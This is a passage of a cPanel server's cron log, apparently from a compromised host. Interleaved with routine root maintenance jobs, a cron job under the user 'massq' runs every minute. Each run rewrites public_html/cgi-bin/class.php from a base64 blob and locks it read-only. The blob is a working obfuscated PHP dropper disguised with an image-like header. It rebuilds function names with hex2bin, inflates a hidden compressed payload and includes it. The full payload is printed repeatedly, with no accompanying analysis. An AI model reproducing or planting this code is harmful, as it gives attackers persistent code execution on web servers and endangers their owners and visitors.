&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:55:01 server CROND[14803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:55:01 server CROND[14804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:55:01 server CROND[14805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:56:01 server CROND[15656]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:57:01 server CROND[16576]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:57:01 server CROND[16577]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 21:58:01 server CROND[16832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:59:01 server CROND[17191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:00:01 server CROND[17408]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 22:00:01 server CROND[17412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:00:01 server CROND[17410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:00:01 server CROND[17411]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov  9 22:00:01 server CROND[17422]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:01:01 server CROND[18249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:01:01 server CROND[18250]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 22:01:01 server run-parts(/etc/cron.hourly)[18250]: starting 0anacron
Nov  9 22:01:01 server run-parts(/etc/cron.hourly)[18262]: finished 0anacron
Nov  9 22:02:01 server CROND[18525]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:03:01 server CROND[19285]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:04:01 server CROND[20107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:05:01 server CROND[20971]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:05:01 server CROND[20972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:05:01 server CROND[20973]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 22:05:01 server CROND[20976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:06:01 server CROND[21455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
